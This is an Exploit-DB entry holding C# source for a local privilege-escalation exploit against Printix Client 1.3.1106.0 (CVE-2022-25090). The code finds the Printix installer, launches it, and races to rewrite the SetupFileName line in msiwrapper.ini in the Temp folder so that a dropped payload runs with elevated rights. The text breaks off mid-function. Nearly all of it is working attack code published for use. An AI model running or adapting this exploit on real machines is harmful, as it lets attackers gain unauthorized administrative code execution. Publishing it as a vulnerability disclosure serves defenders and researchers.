Exploit-DB #50812
Description: Printix Client 1.3.1106.0 - Privilege Escalation
Type: local
Platform: windows
Date: 2022-03-09
Author: Logan Latvala

Exploit:
# Exploit Title: Printix Client 1.3.1106.0 - Privilege Escalation
# Date: 3/2/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link:
https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25090
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25090

using System;
using System.Runtime.InteropServices;
using System.Drawing;

using System.Reflection;
using System.Threading;
using System.IO;
using System.Text;
using System.Resources;
using System.Diagnostics;

//Assembly COM for transparent creation of the application.

//End of Assembly COM For Transparent Creation usage.
public class Program
{
	//Initiator class for the program, the program starts on the main method.
	public static void Main(string[] args)
	{
		//Console.SetWindowSize(120,30);
		//Console.SetBufferSize(120,30);
		Console.ForegroundColor = ConsoleColor.Blue;
		Console.WriteLine("┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
		Console.WriteLine("├			  oo dP                           dP                                ");
		Console.ForegroundColor = ConsoleColor.Red;
		Console.WriteLine("├			     88                           88                                ");
		Console.ForegroundColor = ConsoleColor.Green;
		Console.WriteLine("├			  dP 88d888b. .d8888b. d888888b d8888P .d8888b. 88d8b.d8b. 88d888b. ");
		Console.ForegroundColor = ConsoleColor.Blue;
		Console.WriteLine("├			  88 88'  `88 88'  `88    .d8P'   88   88ooood8 88'`88'`88 88'  `88 ");
		Console.ForegroundColor = ConsoleColor.Yellow;
		Console.WriteLine("├			  88 88    88 88.  .88  .Y8P      88   88.  ... 88  88  88 88.  .88 ");
		Console.ForegroundColor = ConsoleColor.Magenta;
		Console.WriteLine("├			  dP dP    dP `88888P8 d888888P   dP   `88888P' dP  dP  dP 88Y888P' ");
		Console.WriteLine("├			                                                           88       ");
		Console.WriteLine("├			                                                           dP       ");
		Console.ForegroundColor = ConsoleColor.Blue;
		Console.Write("├			                        For ");
		Console.ForegroundColor = ConsoleColor.Magenta;
		Console.Write("Printix ");
		Console.ForegroundColor = ConsoleColor.Blue;
		Console.Write("Services                       Designed By Logan Latvala\n");
		Console.WriteLine("└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
		Thread.Sleep(3000);
		string filesH = "";
		Console.WriteLine("Drag and drop a payload onto this application for execution.");
		try
		{
			if (args[0]?.Length >0)
			{
				Console.WriteLine("File Added: " + args[0]);
			}
			
		}
		catch (Exception e)
		{
			Console.WriteLine("You\'re missing a file here, please ensure that you drag and drop a payload to execute.\n \n We'll print the error for you right here...\n \n");
			Console.ForegroundColor = ConsoleColor.Red;
			Console.WriteLine(e);
			Console.ReadLine();
			Environment.Exit(40);
		}


		Console.WriteLine("\n We're going to look for your printix installer, one moment...");
		string[] installerSearch = Directory.GetFiles(@"C:\windows\installer\", "*.msi", SearchOption.AllDirectories);

		double mCheck = 1.00;

		string trueInstaller = "";
		//Starts to enumerate window's installer directory for an author with the name of printix.
		foreach (string path in installerSearch)
		{
			Console.WriteLine("Searching Files: {0} / {1} Files", mCheck, installerSearch.Length);
			Console.WriteLine("Searching Files... " + (Math.Round((mCheck / installerSearch.Length) * 100)) + "% Done.");
			if (readFileProperties(path, "Printix"))
			{
				trueInstaller = path;
				Console.WriteLine("We've found your installer, we'll finish enumeration.");
				goto MGMA;
			}
			mCheck++;
		}
	//Flag for enumeration when the loop needs to exit, since it shouldn't loop infinitely.
	MGMA:
		if (trueInstaller == "")
		{
			Console.WriteLine("We can't find your installer, you are not vulnerable.");
			Thread.Sleep(2000);
			Environment.Exit(12);
		}
		Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
		Console.WriteLine("├ We are starting to enumerate your temporary directory.");
		Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");

		//Start a new thread here for enumeration.

		Thread t = new Thread(() => newTempThread(filesH, args));
		t.Start();



		Process.Start(trueInstaller);



		Console.WriteLine("All done.");
		Console.ReadLine();
	}
	public static void newTempThread(string filesH, string[] args)
	{
		while (true)
		{
			try
			{
				//Starts the inheriting process for printix, in which scans for the files and relays their contents.
				string[] files = Directory.GetFiles(@"C:\Users\" + Environment.UserName + @"\AppData\Local\Temp\", "msiwrapper.ini", SearchOption.AllDirectories);
				if (!string.IsNullOrEmpty(files[0]))
				{
					foreach (string fl in files)
					{
						if (!filesH.Contains(fl))
						{

							//filesH += " " + fl;
							string[] fileText = File.ReadAllLines(fl);
							int linerc = 0;
							foreach (string liners in fileText)
							{

								if (liners.Contains("SetupFileName"))
								{

									//Most likely the temporary directory for setup, which presents it properly.
									Console.WriteLine("├─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────");
									Console.WriteLine("├ " + fl);
									fileText[linerc] = @"SetupFileName=" + "\"" + args[0] + "\"";